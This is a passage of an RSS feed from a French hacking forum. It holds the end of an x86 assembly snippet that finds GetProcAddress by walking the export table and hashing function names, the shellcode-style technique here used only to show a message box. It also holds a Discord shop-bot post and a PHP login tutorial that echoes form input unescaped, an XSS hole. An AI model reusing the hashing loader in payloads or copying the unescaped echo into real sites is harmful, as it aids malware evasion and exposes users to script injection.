    mov    ecx,[eax+0x18]            ;Number Of Names RVA<br />
    mov    [NumberOfNames],ecx<br />
<br />
    mov    ecx,[eax+0x1c]            ;Address Table RVA<br />
    mov    [AddressTable],ecx<br />
<br />
    mov    ecx,[eax+0x24]            ;Ordinal Table RVA<br />
    mov    [OrdinalTable],ecx<br />
<br />
    mov    esi,[eax+0x20]            ;Name Table RVA<br />
    add    esi,[ModuleBase]        ;Name Table VA<br />
    xor    ecx,ecx<br />
     re:<br />
    lodsd                    ;Get First Name RVA addr<br />
    add    eax,[ModuleBase]        ;Convert it to VA<br />
    push    esi                ;Save Name Table<br />
    mov    esi,eax                ;Prepare For lodsb<br />
     @@:<br />
    lodsb                    ;Hash the name<br />
    add    dl,al<br />
    xor    dh,dl<br />
    rol    edx,8<br />
    cmp    byte [esi],0<br />
    jnz    @b<br />
<br />
    cmp    edx,HashGetProcAddress        ;cmp Hash with function<br />
    jz    @f<br />
    xor    edx,edx<br />
    pop    esi                ;Restore Name Table<br />
    inc    ecx                ;Name counter<br />
    cmp    ecx,[NumberOfNames]        ;Compare tested function with<br />
    jnz    re                ;total number of name<br />
     @@:<br />
    mov    eax,[OrdinalTable]<br />
    add    eax,[ModuleBase]<br />
    xor    edx,edx<br />
    mov    dx,word [eax+ecx*2]        ;Get function ordinal VA<br />
<br />
    mov    eax,[AddressTable]<br />
    add    eax,[ModuleBase]        ;Address Table VA<br />
<br />
    mov    eax,[eax+edx*4]            ;EAT+EOT*4<br />
    add    eax,[ModuleBase]        ;Function VA<br />
    mov    [GetProcAddress],eax<br />
<br />
    push    FunctionName1<br />
    push    [ModuleBase]<br />
    call    [GetProcAddress]<br />
<br />
    push    DllName<br />
    call    eax<br />
<br />
    push    FunctionName2<br />
    push    eax<br />
    call    [GetProcAddress]<br />
<br />
    push    0<br />
    push    Titre<br />
    push    Message<br />
    push    0<br />
    call    eax<br />
<br />
   exit:<br />
    leave<br />
    ret<br />
<br />
<br />
<br />
AddressTable dd 0<br />
OrdinalTable dd 0<br />
ModuleBase dd 0<br />
NumberOfNames dd 0<br />
HashGetProcAddress = 0x6414d1d5<br />
GetProcAddress dd 0<br />
<br />
FunctionName1 db 'LoadLibraryA',0<br />
FunctionName2 db 'MessageBoxA',0<br />
DllName db 'user32.dll',0<br />
<br />
Titre db 'titre',0<br />
Message db 'Message',0</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Selly Discord Bot.]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=4735</link>
			<pubDate>Fri, 23 Nov 2018 21:14:43 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=49428">theo444</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=4735</guid>
			<description><![CDATA[[hide]Hey.<br />
<br />
Je vous partage un petit bot qui permet de automatiquement faire un shop qui n'est pas bannable par discord. <br />
<br />
tutoriel rapide:<br />
<br />
Créer un seul channel, vide.<br />
Dans votre shop, vous pouvez configurez un message de vente, Mettez les instruction. : !verifyme OrderID. <br />
<br />
Et voila votre bot est prêt.<br />
<br />
Pour le configurer rien de plus simple :<br />
<br />
Rendez vous ici: <a href="https://selly.gg/dashboard/settings" target="_blank" rel="noopener" class="mycode_url">https://selly.gg/dashboard/settings</a><br />
<br />
Vous verrez une clé API. <br />
<br />
Maintenant vous devez modifier Le Main.java et le Tests.java qui se trouve dans : fr/FuckingDeadWork/KeezleShop<br />
Et vous verrez une ligne: <br />
String str = "email@provider.extension:apikey";<br />
<br />
Modifier la par votre email selly et votre api key ( clé api )<br />
et le bot est prêt d'utilisation,<br />
<br />
Alors dernière step: <br />
Le bot fonctionne avec un channel du nom de #verify-me et les logs sont dans un chan #bots-log.<br />
et un role du nom de customer.<br />
<br />
Et une fois les deux channels créer et le rôle bah bravo, tout est fonctionnel.<br />
<br />
Tout peut être changer dans Main &amp; MessageListener.<br />
<br />
 -- Le Code est dégelasse, mais fonctionnel et dispose d'une dbb local  <br />
Cordialement, Théo [/hide] <br />
<br />
<span style="color: #dcddde;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Whitney,;" class="mycode_font">+rep if not gay <img src="https://forum.cs-hackers.com/images/smilies/newGen/smile.png" alt="Smile" title="Smile" class="smilie smilie_280" /></span></span></span><br />
<br />
Discord for inquiries<br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="Rar" border="0" alt=".rar" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=677" target="_blank" title="">5.rar</a><br><i> (Taille : 6.81 Ko / Téléchargements : 12)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[[hide]Hey.<br />
<br />
Je vous partage un petit bot qui permet de automatiquement faire un shop qui n'est pas bannable par discord. <br />
<br />
tutoriel rapide:<br />
<br />
Créer un seul channel, vide.<br />
Dans votre shop, vous pouvez configurez un message de vente, Mettez les instruction. : !verifyme OrderID. <br />
<br />
Et voila votre bot est prêt.<br />
<br />
Pour le configurer rien de plus simple :<br />
<br />
Rendez vous ici: <a href="https://selly.gg/dashboard/settings" target="_blank" rel="noopener" class="mycode_url">https://selly.gg/dashboard/settings</a><br />
<br />
Vous verrez une clé API. <br />
<br />
Maintenant vous devez modifier Le Main.java et le Tests.java qui se trouve dans : fr/FuckingDeadWork/KeezleShop<br />
Et vous verrez une ligne: <br />
String str = "email@provider.extension:apikey";<br />
<br />
Modifier la par votre email selly et votre api key ( clé api )<br />
et le bot est prêt d'utilisation,<br />
<br />
Alors dernière step: <br />
Le bot fonctionne avec un channel du nom de #verify-me et les logs sont dans un chan #bots-log.<br />
et un role du nom de customer.<br />
<br />
Et une fois les deux channels créer et le rôle bah bravo, tout est fonctionnel.<br />
<br />
Tout peut être changer dans Main &amp; MessageListener.<br />
<br />
 -- Le Code est dégelasse, mais fonctionnel et dispose d'une dbb local  <br />
Cordialement, Théo [/hide] <br />
<br />
<span style="color: #dcddde;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Whitney,;" class="mycode_font">+rep if not gay <img src="https://forum.cs-hackers.com/images/smilies/newGen/smile.png" alt="Smile" title="Smile" class="smilie smilie_280" /></span></span></span><br />
<br />
Discord for inquiries<br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="Rar" border="0" alt=".rar" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=677" target="_blank" title="">5.rar</a><br><i> (Taille : 6.81 Ko / Téléchargements : 12)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Login & Register]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=4147</link>
			<pubDate>Tue, 08 May 2018 16:52:40 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=55012">Tangohan</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=4147</guid>
			<description><![CDATA[Bonsoir, je link quelques code sources, pour un système de Login &amp; Register en PHP.<br />
Du simple et basique  <img src="https://forum.cs-hackers.com/images/smilies/newGen/tounge.png" alt="Tounge" title="Tounge" class="smilie smilie_258" /> <br />
<br />
Architectures: <br />
<ul class="mycode_list"><li>Un dossier <span style="color: #66cc33;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Includes</span></span><br />
</li>
<li>Un dossier<span style="color: #3399ff;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"> Layout</span></span><br />
</li>
<li>Fichier index.php<br />
</li>
<li>Fichier config.php situé dans <span style="color: #66cc33;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Includes</span></span><br />
</li>
<li>Fichier header.php situé dans <span style="color: #3399ff;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Layout</span></span><br />
</li>
</ul>
(Réalisable dans n'importe quel ordre)<br />
Tout d'abords on s'attaque à l'index:<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">Code PHP :</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&lt;?php<br /></span><span style="color: #FF8000">//include&nbsp;config<br /></span><span style="color: #007700">require_once(</span><span style="color: #DD0000">'includes/config.php'</span><span style="color: #007700">);<br /><br /></span><span style="color: #FF8000">//check&nbsp;if&nbsp;already&nbsp;logged&nbsp;in&nbsp;move&nbsp;to&nbsp;home&nbsp;page<br />//if&nbsp;logged&nbsp;in&nbsp;redirect&nbsp;to&nbsp;members&nbsp;page<br /></span><span style="color: #007700">if(&nbsp;</span><span style="color: #0000BB">&#36;user</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">is_logged_in</span><span style="color: #007700">()&nbsp;){&nbsp;</span><span style="color: #0000BB">header</span><span style="color: #007700">(</span><span style="color: #DD0000">'Location:&nbsp;memberpage.php'</span><span style="color: #007700">);&nbsp;}<br /><br /></span><span style="color: #FF8000">//define&nbsp;page&nbsp;title<br /></span><span style="color: #0000BB">&#36;title&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'Demo'</span><span style="color: #007700">;<br /><br /></span><span style="color: #FF8000">//Inclued:&nbsp;Apparence&nbsp;Header<br /></span><span style="color: #007700">require(</span><span style="color: #DD0000">'layout/header.php'</span><span style="color: #007700">);&nbsp;<br /><br /><br />&lt;</span><span style="color: #0000BB">form&nbsp;role</span><span style="color: #007700">=</span><span style="color: #DD0000">"form"&nbsp;</span><span style="color: #0000BB">method</span><span style="color: #007700">=</span><span style="color: #DD0000">"post"&nbsp;</span><span style="color: #0000BB">action</span><span style="color: #007700">=</span><span style="color: #DD0000">""&nbsp;</span><span style="color: #0000BB">autocomplete</span><span style="color: #007700">=</span><span style="color: #DD0000">"off"</span><span style="color: #007700">&gt;<br /><br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-group"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">input&nbsp;type</span><span style="color: #007700">=</span><span style="color: #DD0000">"text"&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">=</span><span style="color: #DD0000">"username"&nbsp;</span><span style="color: #0000BB">id</span><span style="color: #007700">=</span><span style="color: #DD0000">"username"&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-control&nbsp;input-lg"&nbsp;</span><span style="color: #0000BB">placeholder</span><span style="color: #007700">=</span><span style="color: #DD0000">"User&nbsp;Name"&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">=</span><span style="color: #DD0000">"&lt;?php&nbsp;if(isset(</span><span style="color: #0000BB">&#36;error</span><span style="color: #DD0000">)){&nbsp;echo&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'username'];&nbsp;}&nbsp;?&gt;"&nbsp;</span><span style="color: #0000BB">tabindex</span><span style="color: #007700">=</span><span style="color: #DD0000">"1"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-group"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">input&nbsp;type</span><span style="color: #007700">=</span><span style="color: #DD0000">"email"&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">=</span><span style="color: #DD0000">"email"&nbsp;</span><span style="color: #0000BB">id</span><span style="color: #007700">=</span><span style="color: #DD0000">"email"&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-control&nbsp;input-lg"&nbsp;</span><span style="color: #0000BB">placeholder</span><span style="color: #007700">=</span><span style="color: #DD0000">"Email&nbsp;Address"&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">=</span><span style="color: #DD0000">"&lt;?php&nbsp;if(isset(</span><span style="color: #0000BB">&#36;error</span><span style="color: #DD0000">)){&nbsp;echo&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'email'];&nbsp;}&nbsp;?&gt;"&nbsp;</span><span style="color: #0000BB">tabindex</span><span style="color: #007700">=</span><span style="color: #DD0000">"2"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"row"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"col-xs-6&nbsp;col-sm-6&nbsp;col-md-6"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-group"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">input&nbsp;type</span><span style="color: #007700">=</span><span style="color: #DD0000">"password"&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">=</span><span style="color: #DD0000">"password"&nbsp;</span><span style="color: #0000BB">id</span><span style="color: #007700">=</span><span style="color: #DD0000">"password"&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-control&nbsp;input-lg"&nbsp;</span><span style="color: #0000BB">placeholder</span><span style="color: #007700">=</span><span style="color: #DD0000">"Password"&nbsp;</span><span style="color: #0000BB">tabindex</span><span style="color: #007700">=</span><span style="color: #DD0000">"3"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"col-xs-6&nbsp;col-sm-6&nbsp;col-md-6"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-group"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">input&nbsp;type</span><span style="color: #007700">=</span><span style="color: #DD0000">"password"&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">=</span><span style="color: #DD0000">"passwordConfirm"&nbsp;</span><span style="color: #0000BB">id</span><span style="color: #007700">=</span><span style="color: #DD0000">"passwordConfirm"&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-control&nbsp;input-lg"&nbsp;</span><span style="color: #0000BB">placeholder</span><span style="color: #007700">=</span><span style="color: #DD0000">"Confirm&nbsp;Password"&nbsp;</span><span style="color: #0000BB">tabindex</span><span style="color: #007700">=</span><span style="color: #DD0000">"4"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"row"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"col-xs-6&nbsp;col-md-6"</span><span style="color: #007700">&gt;&lt;</span><span style="color: #0000BB">input&nbsp;type</span><span style="color: #007700">=</span><span style="color: #DD0000">"submit"&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">=</span><span style="color: #DD0000">"submit"&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">=</span><span style="color: #DD0000">"Register"&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"btn&nbsp;btn-primary&nbsp;btn-block&nbsp;btn-lg"&nbsp;</span><span style="color: #0000BB">tabindex</span><span style="color: #007700">=</span><span style="color: #DD0000">"5"</span><span style="color: #007700">&gt;&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">form</span><span style="color: #007700">&gt;<br /><br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; value</span><span style="color: #007700">=</span><span style="color: #DD0000">"&lt;?php&nbsp;if(isset(</span><span style="color: #0000BB">&#36;error</span><span style="color: #DD0000">)){&nbsp;echo&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'email'];&nbsp;}&nbsp;?&gt;"<br /><br /><br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #FF8000">//check&nbsp;for&nbsp;any&nbsp;errors<br /></span><span style="color: #007700">if(isset(</span><span style="color: #0000BB">&#36;error</span><span style="color: #007700">)){<br /></span><span style="color: #0000BB"> foreach</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;error&nbsp;</span><span style="color: #007700">as&nbsp;</span><span style="color: #0000BB">&#36;error</span><span style="color: #007700">){<br /></span><span style="color: #0000BB"> &nbsp; echo&nbsp;</span><span style="color: #DD0000">'&lt;p&nbsp;class="bg-danger"&gt;'</span><span style="color: #007700">.</span><span style="color: #0000BB">&#36;error</span><span style="color: #007700">.</span><span style="color: #DD0000">'&lt;/p&gt;'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB"> </span><span style="color: #007700">}<br />}<br /><br /><br />if(isset(</span><span style="color: #0000BB">&#36;_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'action'</span><span style="color: #007700">])&nbsp;&amp;&amp;&nbsp;</span><span style="color: #0000BB">&#36;_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'action'</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #DD0000">'joined'</span><span style="color: #007700">){<br /></span><span style="color: #0000BB"> echo&nbsp;</span><span style="color: #DD0000">"&lt;h2&nbsp;class='bg-success'&gt;Registration&nbsp;successful,&nbsp;please&nbsp;check&nbsp;your&nbsp;email&nbsp;to&nbsp;activate&nbsp;your&nbsp;account.&lt;/h2&gt;"</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #FF8000">//if&nbsp;form&nbsp;has&nbsp;been&nbsp;submitted&nbsp;process&nbsp;it<br /></span><span style="color: #007700">if(isset(</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'submit'</span><span style="color: #007700">])){&nbsp;<br /></span></code></div></div></div><br />
<br />
Ensuite au fichier config (Situé dans Includes)<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">Code PHP :</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&lt;?php<br />ob_start</span><span style="color: #007700">();<br /></span><span style="color: #0000BB">session_start</span><span style="color: #007700">();<br /><br /></span><span style="color: #FF8000">//set&nbsp;timezone<br /></span><span style="color: #0000BB">date_default_timezone_set</span><span style="color: #007700">(</span><span style="color: #DD0000">'Europe/London'</span><span style="color: #007700">);<br /><br /></span><span style="color: #FF8000">//database&nbsp;credentials<br /></span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'DBHOST'</span><span style="color: #007700">,</span><span style="color: #DD0000">'host'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'DBUSER'</span><span style="color: #007700">,</span><span style="color: #DD0000">'user'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'DBPASS'</span><span style="color: #007700">,</span><span style="color: #DD0000">'mdp'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'DBNAME'</span><span style="color: #007700">,</span><span style="color: #DD0000">'bdd'</span><span style="color: #007700">);<br /><br /></span><span style="color: #FF8000">//application&nbsp;address<br /></span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'DIR'</span><span style="color: #007700">,</span><span style="color: #DD0000">'http://domain.com/'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'SITEEMAIL'</span><span style="color: #007700">,</span><span style="color: #DD0000">'noreply@domain.com'</span><span style="color: #007700">);<br /><br />try&nbsp;{<br /><br /></span><span style="color: #0000BB"> &nbsp; </span><span style="color: #FF8000">//create&nbsp;PDO&nbsp;connection&nbsp;<br /></span><span style="color: #0000BB"> &nbsp; &#36;db&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">PDO</span><span style="color: #007700">(</span><span style="color: #DD0000">"mysql:host="</span><span style="color: #007700">.</span><span style="color: #0000BB">DBHOST</span><span style="color: #007700">.</span><span style="color: #DD0000">";port=8889;dbname="</span><span style="color: #007700">.</span><span style="color: #0000BB">DBNAME</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">DBUSER</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">DBPASS</span><span style="color: #007700">);<br /></span><span style="color: #0000BB"> &nbsp; &#36;db</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setAttribute</span><span style="color: #007700">(</span><span style="color: #0000BB">PDO</span><span style="color: #007700">::</span><span style="color: #0000BB">ATTR_ERRMODE</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">PDO</span><span style="color: #007700">::</span><span style="color: #0000BB">ERRMODE_EXCEPTION</span><span style="color: #007700">);<br /><br />}&nbsp;catch(</span><span style="color: #0000BB">PDOException&nbsp;&#36;e</span><span style="color: #007700">)&nbsp;{<br /></span><span style="color: #0000BB"> &nbsp; </span><span style="color: #FF8000">//show&nbsp;error<br /></span><span style="color: #0000BB"> &nbsp; echo&nbsp;</span><span style="color: #DD0000">'&lt;p&nbsp;class="bg-danger"&gt;'</span><span style="color: #007700">.</span><span style="color: #0000BB">&#36;e</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">getMessage</span><span style="color: #007700">().</span><span style="color: #DD0000">'&lt;/p&gt;'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB"> &nbsp; exit</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #FF8000">//include&nbsp;the&nbsp;user&nbsp;class,&nbsp;pass&nbsp;in&nbsp;the&nbsp;database&nbsp;connection<br /></span><span style="color: #007700">include(</span><span style="color: #DD0000">'classes/user.php'</span><span style="color: #007700">);<br />include(</span><span style="color: #DD0000">'classes/phpmailer/mail.php'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">&#36;user&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">User</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;db</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #0000BB">?&gt;</span></code></div></div></div><br />
Puis le fichier header.php <br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>!DOCTYPE html&gt;<br />
&lt;html lang="en"&gt;<br />
&lt;head&gt;<br />
   &lt;meta charset="utf-8"&gt;<br />
   &lt;title&gt;&lt;?php if(isset(&#36;title)){ echo &#36;title; }?&gt;&lt;/title&gt;<br />
   &lt;link href="//netdna.bootstrapcdn.com/bootstrap/3.1.0/css/bootstrap.min.css" rel="stylesheet"&gt;<br />
   &lt;link rel="stylesheet" href="style/main.css"&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;</code></div></div>]]></description>
			<content:encoded><![CDATA[Bonsoir, je link quelques code sources, pour un système de Login &amp; Register en PHP.<br />
Du simple et basique  <img src="https://forum.cs-hackers.com/images/smilies/newGen/tounge.png" alt="Tounge" title="Tounge" class="smilie smilie_258" /> <br />
<br />
Architectures: <br />
<ul class="mycode_list"><li>Un dossier <span style="color: #66cc33;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Includes</span></span><br />
</li>
<li>Un dossier<span style="color: #3399ff;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"> Layout</span></span><br />
</li>
<li>Fichier index.php<br />
</li>
<li>Fichier config.php situé dans <span style="color: #66cc33;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Includes</span></span><br />
</li>
<li>Fichier header.php situé dans <span style="color: #3399ff;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Layout</span></span><br />
</li>
</ul>
(Réalisable dans n'importe quel ordre)<br />
Tout d'abords on s'attaque à l'index:<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">Code PHP :</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&lt;?php<br /></span><span style="color: #FF8000">//include&nbsp;config<br /></span><span style="color: #007700">require_once(</span><span style="color: #DD0000">'includes/config.php'</span><span style="color: #007700">);<br /><br /></span><span style="color: #FF8000">//check&nbsp;if&nbsp;already&nbsp;logged&nbsp;in&nbsp;move&nbsp;to&nbsp;home&nbsp;page<br />//if&nbsp;logged&nbsp;in&nbsp;redirect&nbsp;to&nbsp;members&nbsp;page<br /></span><span style="color: #007700">if(&nbsp;</span><span style="color: #0000BB">&#36;user</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">is_logged_in</span><span style="color: #007700">()&nbsp;){&nbsp;</span><span style="color: #0000BB">header</span><span style="color: #007700">(</span><span style="color: #DD0000">'Location:&nbsp;memberpage.php'</span><span style="color: #007700">);&nbsp;}<br /><br /></span><span style="color: #FF8000">//define&nbsp;page&nbsp;title<br /></span><span style="color: #0000BB">&#36;title&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'Demo'</span><span style="color: #007700">;<br /><br /></span><span style="color: #FF8000">//Inclued:&nbsp;Apparence&nbsp;Header<br /></span><span style="color: #007700">require(</span><span style="color: #DD0000">'layout/header.php'</span><span style="color: #007700">);&nbsp;<br /><br /><br />&lt;</span><span 